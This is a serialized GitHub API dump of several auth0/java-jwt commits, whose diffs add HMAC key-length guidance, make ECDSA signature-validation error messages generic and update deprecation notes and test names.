-    
-    @Test
-    public void shouldFailECDSA256KVerificationOnInvalidDERSignature() throws Exception {
-        exception.expect(SignatureVerificationException.class);
-        exception.expectMessage("The Token's Signature resulted invalid when verified using the Algorithm: SHA256withECDSA");
-        
-        byte[] bytes = new byte[64];
-        bytes[0] = 0x30;
-        new SecureRandom().nextBytes(bytes);
-        String signature = Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
-        String jwt = "eyJhbGciOiJFUzI1NksifQo.eyJpc3MiOiJhdXRoMCJ9." + signature;
-        Algorithm algorithm = Algorithm.ECDSA256K((ECPublicKey) readPublicKeyFromFile(INVALID_PUBLIC_KEY_FILE_256K, "EC"), null);
-        algorithm.verify(JWT.decode(jwt));
-    }
     
     @Test
     public void shouldPassECDSA256VerificationWithJOSESignature() throws Exception {ueu(4f79d67f7ad656a8bea4ba06cf3f2391750acf2f}(sha(4f79d67f7ad656a8bea4ba06cf3f2391750acf2fnode_idEC_kwDOAQtL0doAKDRmNzlkNjdmN2FkNjU2YThiZWE0YmEwNmNmM2YyMzkxNzUwYWNmMmYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-05T14:52:52Zu	committer}(j0z  GitHubj2z  noreply@github.comj4z  2022-05-05T14:52:52ZumessagexMerge pull request #580 from auth0/hmac-secret-length-notice

[SDK-3125] Updated documentation regarding HMAC Key lengthtree}(j(z  (6667adf527a74fd440922104859a5b0b661b7d2furl^https://api.github.com/repos/auth0/java-jwt/git/trees/6667adf527a74fd440922104859a5b0b661b7d2fuj@z  `https://api.github.com/repos/auth0/java-jwt/git/commits/4f79d67f7ad656a8bea4ba06cf3f2391750acf2f
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJic+TECRBK7hj4Ov3rIwAABqAIADyF8sq/eU/iF3KWOSMpFP1B
BGNTLssmhEg8B1vom/7IiqSmg+9WA/Z9EB6CFx4M7NTkeTby5x+0HZZjBqgdPfh6
uZ33FHVcT6/uhP/r0VIpNjMGSEaTaehOdR4r+Zkf2+pDED/nmZtEp2WKGnxSbO7r
58zj39sSbu55LmeRVPwyERA7p9nKhJpdS75ObTU74nN63lv62HYba7iEeLiRVK3M
8ltZ9rKi9TatL5IfunYJuR/VNWK/XB6kfmYJQAPeHD0UkhhRZgpDdBfgGh+P0IXL
twPCSTMU1+e8XBO9TnxqEDXEjQPJ7473xfUXkrL02C+B+o9FK4xbO/IgH4QOc+A=
=5qIx
-----END PGP SIGNATURE-----
payloadXz  tree 6667adf527a74fd440922104859a5b0b661b7d2f
parent 5e8e20dee05c3f9f957a3f84f0de9be114710de6
parent df004b1bc55ed42f9ccb1d2b820bad08879ad273
author Poovamraj T T <poovamraj@gmail.com> 1651762372 +0200
committer GitHub <noreply@github.com> 1651762372 +0200

Merge pull request #580 from auth0/hmac-secret-length-notice

[SDK-3125] Updated documentation regarding HMAC Key lengthuuj@z  \https://api.github.com/repos/auth0/java-jwt/commits/4f79d67f7ad656a8bea4ba06cf3f2391750acf2fhtml_urlQhttps://github.com/auth0/java-jwt/commit/4f79d67f7ad656a8bea4ba06cf3f2391750acf2fcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4f79d67f7ad656a8bea4ba06cf3f2391750acf2f/commentsj.z  }(login	poovamrajidJ j*z  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j@z  &https://api.github.com/users/poovamrajjNz  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj6z  }(jSz  web-flowjUz  J/j*z  MDQ6VXNlcjE5ODY0NDQ3jWz  4https://avatars.githubusercontent.com/u/19864447?v=4jYz  h3j@z  %https://api.github.com/users/web-flowjNz  https://github.com/web-flowj\z  /https://api.github.com/users/web-flow/followersj^z  <https://api.github.com/users/web-flow/following{/other_user}j`z  5https://api.github.com/users/web-flow/gists{/gist_id}jbz  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jdz  3https://api.github.com/users/web-flow/subscriptionsjfz  *https://api.github.com/users/web-flow/orgsjhz  +https://api.github.com/users/web-flow/reposjjz  6https://api.github.com/users/web-flow/events{/privacy}jlz  5https://api.github.com/users/web-flow/received_eventsjnz  Userjpz  uparents](}(j(z  (5e8e20dee05c3f9f957a3f84f0de9be114710de6j@z  \https://api.github.com/repos/auth0/java-jwt/commits/5e8e20dee05c3f9f957a3f84f0de9be114710de6jNz  Qhttps://github.com/auth0/java-jwt/commit/5e8e20dee05c3f9f957a3f84f0de9be114710de6u}(j(z  (df004b1bc55ed42f9ccb1d2b820bad08879ad273j@z  \https://api.github.com/repos/auth0/java-jwt/commits/df004b1bc55ed42f9ccb1d2b820bad08879ad273jNz  Qhttps://github.com/auth0/java-jwt/commit/df004b1bc55ed42f9ccb1d2b820bad08879ad273uestats}(totalK	additionsK	deletionsKufiles](}(j(z  (3e270500bed0a12965ea22107ccbd7c2cacef2d9filename      	README.mdstatusmodifiedjz  Kjz  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/4f79d67f7ad656a8bea4ba06cf3f2391750acf2f/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/4f79d67f7ad656a8bea4ba06cf3f2391750acf2f/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=4f79d67f7ad656a8bea4ba06cf3f2391750acf2fpatchX	  @@ -113,7 +113,7 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
     ```java
     String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
     try {
-        Algorithm algorithm = Algorithm.HMAC256("secret");
+        Algorithm algorithm = Algorithm.HMAC256("secret"); //use more secure key
         JWTVerifier verifier = JWT.require(algorithm)
             .withIssuer("auth0")
             .build(); //Reusable verifier instance
@@ -175,7 +175,7 @@ When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can av
 
 ```java
 //HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret");
+Algorithm algorithmHS = Algorithm.HMAC256("secret"); //use more secure key
 
 //RSA
 RSAPublicKey publicKey = //Get the key instance
@@ -185,9 +185,9 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 > Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
 
-##### HMAC Key Length and Security
+##### :key: HMAC Key Length and Security
 
-When using a Hash-based Message Authenticaton Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
+When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 
 #### Using a KeyProvider:
 By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:u}(j(z  (27d799094d0c94e0cae342ae0aa3031a4e2b9042jz  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javajz  modifiedjz  Kjz  Kjz  Kjz  https://github.com/auth0/java-jwt/blob/4f79d67f7ad656a8bea4ba06cf3f2391750acf2f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajz  https://github.com/auth0/java-jwt/raw/4f79d67f7ad656a8bea4ba06cf3f2391750acf2f/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajz  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=4f79d67f7ad656a8bea4ba06cf3f2391750acf2fjz  X  @@ -130,7 +130,9 @@ public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
     /**
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
-     * @param secret the secret to use in the verify or signing instance.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 256 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -142,6 +144,8 @@ public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 256 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC256 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -152,7 +156,9 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
     /**
      * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
-     * @param secret the secret to use in the verify or signing instance.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 384 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -164,6 +170,8 @@ public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
      * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 384 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC384 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -174,7 +182,9 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
     /**
      * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
-     * @param secret the secret to use in the verify or signing instance.
+     * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 512 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */
@@ -186,6 +196,8 @@ public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
      * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
      * @param secret the secret bytes to use in the verify or signing instance.
+     *               Ensure the length of the secret is at least 512 bit long
+     *               See <a href="https://github.com/auth0/java-jwt#hmac-key-length-and-security">HMAC Key Length and Security in README</a>
      * @return a valid HMAC512 Algorithm.
      * @throws IllegalArgumentException if the provided Secret is null.
      */ueu(9d471d2152354866bfa65a861dac5590601efe79}(sha(9d471d2152354866bfa65a861dac5590601efe79node_idEC_kwDOAQtL0doAKDlkNDcxZDIxNTIzNTQ4NjZiZmE2NWE4NjFkYWM1NTkwNjAxZWZlNzkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-05T12:10:52Zu	committer}(jz  
Poovamraj T Tjz  poovamraj@gmail.comjz  2022-05-05T12:10:52Zumessage#Abstracted the error message throwntree}(jz  (c6cdc0736d249ad1e840373b1518531047c8e516url^https://api.github.com/repos/auth0/java-jwt/git/trees/c6cdc0736d249ad1e840373b1518531047c8e516ujz  `https://api.github.com/repos/auth0/java-jwt/git/commits/9d471d2152354866bfa65a861dac5590601efe79
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujz  \https://api.github.com/repos/auth0/java-jwt/commits/9d471d2152354866bfa65a861dac5590601efe79html_urlQhttps://github.com/auth0/java-jwt/commit/9d471d2152354866bfa65a861dac5590601efe79comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9d471d2152354866bfa65a861dac5590601efe79/commentsjz  }(login	poovamrajidJ jz  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jz  &https://api.github.com/users/poovamrajjz  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujz  }(jz  	poovamrajjz  J jz  MDQ6VXNlcjE1OTEwNDI1jz  4https://avatars.githubusercontent.com/u/15910425?v=4jz  h3jz  &https://api.github.com/users/poovamrajjz  https://github.com/poovamrajjz  0https://api.github.com/users/poovamraj/followersjz  =https://api.github.com/users/poovamraj/following{/other_user}jz  6https://api.github.com/users/poovamraj/gists{/gist_id}jz  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jz  4https://api.github.com/users/poovamraj/subscriptionsjz  +https://api.github.com/users/poovamraj/orgsjz  ,https://api.github.com/users/poovamraj/reposjz  7https://api.github.com/users/poovamraj/events{/privacy}jz  6https://api.github.com/users/poovamraj/received_eventsjz  Userjz  uparents]}(jz  (645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221ajz  \https://api.github.com/repos/auth0/java-jwt/commits/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221ajz  Qhttps://github.com/auth0/java-jwt/commit/645b40a4c9ee9ed62e49d5bebda2c8a6c9d3221auastats}(totalK	additionsK
	deletionsK
ufiles](}(jz  (ac34c44e96e7d7586ed5bddaa366232384d7f443filename>lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javastatusmodifiedj{  Kj{  KchangesK
blob_urlhttps://github.com/auth0/java-jwt/blob/9d471d2152354866bfa65a861dac5590601efe79/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9d471d2152354866bfa65a861dac5590601efe79/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=9d471d2152354866bfa65a861dac5590601efe79patchX  @@ -158,23 +158,23 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
         }
 
         if (isAllZeros(joseSignature)) {
-            throw new SignatureException("Invalid Signature: All Zeros.");
+            throw new SignatureException("Invalid signature format.");
         }
 
         // get R
         byte[] rBytes = new byte[ecNumberSize];
         System.arraycopy(joseSignature, 0, rBytes, 0, ecNumberSize);
         BigInteger r = new BigInteger(1, rBytes);
         if(isAllZeros(rBytes)) {
-            throw new SignatureException("Invalid Signature: All Zeros for R value.");
+            throw new SignatureException("Invalid signature format.");
         }
 
         // get S
         byte[] sBytes = new byte[ecNumberSize];
         System.arraycopy(joseSignature, ecNumberSize, sBytes, 0, ecNumberSize);
         BigInteger s = new BigInteger(1, sBytes);
         if(isAllZeros(sBytes)) {
-            throw new SignatureException("Invalid Signature: All Zeros for S value.");
+            throw new SignatureException("Invalid signature format.");
         }
 
         //moved this check from JOSEToDER method
@@ -192,11 +192,11 @@ void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) thr
 
         // R and S must be less than N
         if (order.compareTo(r) < 1) {
-            throw new SignatureException("The difference between R value and order should be greater than one.");
+            throw new SignatureException("Invalid signature format.");
         }
 
         if (order.compareTo(s) < 1){
-            throw new SignatureException("The difference between S value and order should be greater than one.");
+            throw new SignatureException("Invalid signature format.");
         }
     }
 u}(jz  (818924fe75783c6b43e64c495c5fbe27a5239717j{  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj{  modifiedj{  Kj{  Kj{  K
j{  https://github.com/auth0/java-jwt/blob/9d471d2152354866bfa65a861dac5590601efe79/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj{  https://github.com/auth0/java-jwt/raw/9d471d2152354866bfa65a861dac5590601efe79/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj{  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=9d471d2152354866bfa65a861dac5590601efe79j{  X
  @@ -1370,7 +1370,7 @@ public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception
     @Test
     public void signatureWithAllZerosShouldFail() throws Exception {
         exception.expect(SignatureException.class);
-        exception.expectMessage("Invalid Signature: All Zeros.");
+        exception.expectMessage("Invalid signature format.");
 
         ECPublicKey pubKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
 
@@ -1382,7 +1382,7 @@ public void signatureWithAllZerosShouldFail() throws Exception {
     @Test
     public void signatureWithRZeroShouldFail() throws Exception {
         exception.expect(SignatureException.class);
-        exception.expectMessage("Invalid Signature: All Zeros for R value.");
+        exception.expectMessage("Invalid signature format.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
@@ -1408,7 +1408,7 @@ public void signatureWithRZeroShouldFail() throws Exception {
     @Test
     public void signatureWithSZeroShouldFail() throws Exception {
         exception.expect(SignatureException.class);
-        exception.expectMessage("Invalid Signature: All Zeros for S value.");
+        exception.expectMessage("Invalid signature format.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
@@ -1434,7 +1434,7 @@ public void signatureWithSZeroShouldFail() throws Exception {
     @Test
     public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
         exception.expect(SignatureException.class);
-        exception.expectMessage("The difference between R value and order should be greater than one.");
+        exception.expectMessage("Invalid signature format.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
@@ -1452,7 +1452,7 @@ public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
     @Test
     public void signatureWithSValueNotLessThanOrderShouldFail() throws Exception {
         exception.expect(SignatureException.class);
-        exception.expectMessage("The difference between S value and order should be greater than one.");
+        exception.expectMessage("Invalid signature format.");
 
         ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
         ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");ueu(81fdd16538de7e4e57e37b383d65fe428fe60b75}(sha(81fdd16538de7e4e57e37b383d65fe428fe60b75node_idEC_kwDOAQtL0doAKDgxZmRkMTY1MzhkZTdlNGU1N2UzN2IzODNkNjVmZTQyOGZlNjBiNzUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-11T18:04:34Zu	committer}(j0{  
Poovamraj T Tj2{  poovamraj@gmail.comj4{  2022-03-11T18:04:34ZumessageDocumentation updatetree}(j({  (07d56122b9b54ae2a3561442bc4a74f04e0d0f36url^https://api.github.com/repos/auth0/java-jwt/git/trees/07d56122b9b54ae2a3561442bc4a74f04e0d0f36uj@{  `https://api.github.com/repos/auth0/java-jwt/git/commits/81fdd16538de7e4e57e37b383d65fe428fe60b75
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj@{  \https://api.github.com/repos/auth0/java-jwt/commits/81fdd16538de7e4e57e37b383d65fe428fe60b75html_urlQhttps://github.com/auth0/java-jwt/commit/81fdd16538de7e4e57e37b383d65fe428fe60b75comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/81fdd16538de7e4e57e37b383d65fe428fe60b75/commentsj.{  }(login	poovamrajidJ j*{  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j@{  &https://api.github.com/users/poovamrajjL{  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj6{  }(jQ{  	poovamrajjS{  J j*{  MDQ6VXNlcjE1OTEwNDI1jU{  4https://avatars.githubusercontent.com/u/15910425?v=4jW{  h3j@{  &https://api.github.com/users/poovamrajjL{  https://github.com/poovamrajjZ{  0https://api.github.com/users/poovamraj/followersj\{  =https://api.github.com/users/poovamraj/following{/other_user}j^{  6https://api.github.com/users/poovamraj/gists{/gist_id}j`{  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jb{  4https://api.github.com/users/poovamraj/subscriptionsjd{  +https://api.github.com/users/poovamraj/orgsjf{  ,https://api.github.com/users/poovamraj/reposjh{  7https://api.github.com/users/poovamraj/events{/privacy}jj{  6https://api.github.com/users/poovamraj/received_eventsjl{  Userjn{  uparents]}(j({  (5b4657ab05446b0366a2be55a77eabe9abd11b8ej@{  \https://api.github.com/repos/auth0/java-jwt/commits/5b4657ab05446b0366a2be55a77eabe9abd11b8ejL{  Qhttps://github.com/auth0/java-jwt/commit/5b4657ab05446b0366a2be55a77eabe9abd11b8euastats}(totalK	additionsK	deletionsKufiles]}(j({  (2e1904df14fe88e55de2c6c0d870e60a95e87468filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj{  Kj{  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/81fdd16538de7e4e57e37b383d65fe428fe60b75/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/81fdd16538de7e4e57e37b383d65fe428fe60b75/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=81fdd16538de7e4e57e37b383d65fe428fe60b75patchX7  @@ -182,8 +182,10 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      *
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
-     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
     @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
@@ -196,8 +198,10 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param publicKey  the key to use in the verify instance.
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
-     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
     @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {uau(186df4df96631d575163d10f56f4eec0c72447a3}(sha(186df4df96631d575163d10f56f4eec0c72447a3node_idEC_kwDOAQtL0doAKDE4NmRmNGRmOTY2MzFkNTc1MTYzZDEwZjU2ZjRlZWMwYzcyNDQ3YTMcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2022-11-26T16:12:43Zu	committer}(j{  
Andreas Rigasj{  andreas.rigas@outlook.comj{  2022-11-26T16:12:43Zumessagerename functionstree}(j{  (a63c1620502d37ef750fe68b347fc6795216353durl^https://api.github.com/repos/auth0/java-jwt/git/trees/a63c1620502d37ef750fe68b347fc6795216353duj{  `https://api.github.com/repos/auth0/java-jwt/git/commits/186df4df96631d575163d10f56f4eec0c72447a3
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj{  \https://api.github.com/repos/auth0/java-jwt/commits/186df4df96631d575163d10f56f4eec0c72447a3html_urlQhttps://github.com/auth0/java-jwt/commit/186df4df96631d575163d10f56f4eec0c72447a3comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/186df4df96631d575163d10f56f4eec0c72447a3/commentsj{  }(loginandrewrigasidJj{  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3j{  (https://api.github.com/users/andrewrigasj{  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminuj{  }(j{  andrewrigasj{  Jj{  MDQ6VXNlcjQ4Mjk2NDcxj{  4https://avatars.githubusercontent.com/u/48296471?v=4j{  h3j{  (https://api.github.com/users/andrewrigasj{  https://github.com/andrewrigasj{  2https://api.github.com/users/andrewrigas/followersj{  ?https://api.github.com/users/andrewrigas/following{/other_user}j{  8https://api.github.com/users/andrewrigas/gists{/gist_id}j{  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j{  6https://api.github.com/users/andrewrigas/subscriptionsj{  -https://api.github.com/users/andrewrigas/orgsj{  .https://api.github.com/users/andrewrigas/reposj{  9https://api.github.com/users/andrewrigas/events{/privacy}j{  8https://api.github.com/users/andrewrigas/received_eventsj{  Userj{  uparents]}(j{  (78a10b3fb3c2cd9ec831f54c75810c22282ed052j{  \https://api.github.com/repos/auth0/java-jwt/commits/78a10b3fb3c2cd9ec831f54c75810c22282ed052j{  Qhttps://github.com/auth0/java-jwt/commit/78a10b3fb3c2cd9ec831f54c75810c22282ed052uastats}(totalK	additionsK	deletionsKufiles]}(j{  (38c47137dfb8fa13254feb512a27bdd7633a0d44filename3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javastatusmodifiedj{  Kj{  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/186df4df96631d575163d10f56f4eec0c72447a3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/186df4df96631d575163d10f56f4eec0c72447a3/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=186df4df96631d575163d10f56f4eec0c72447a3patchXT  @@ -94,7 +94,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() throws JsonProcessingExcept
     }
 
     @Test
-    public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() throws JsonProcessingException {
+    public void shouldSupportJsonValueHeaderWithNestedDataStructure() throws JsonProcessingException {
         String stringClaim = "someClaim";
         Integer intClaim = 1;
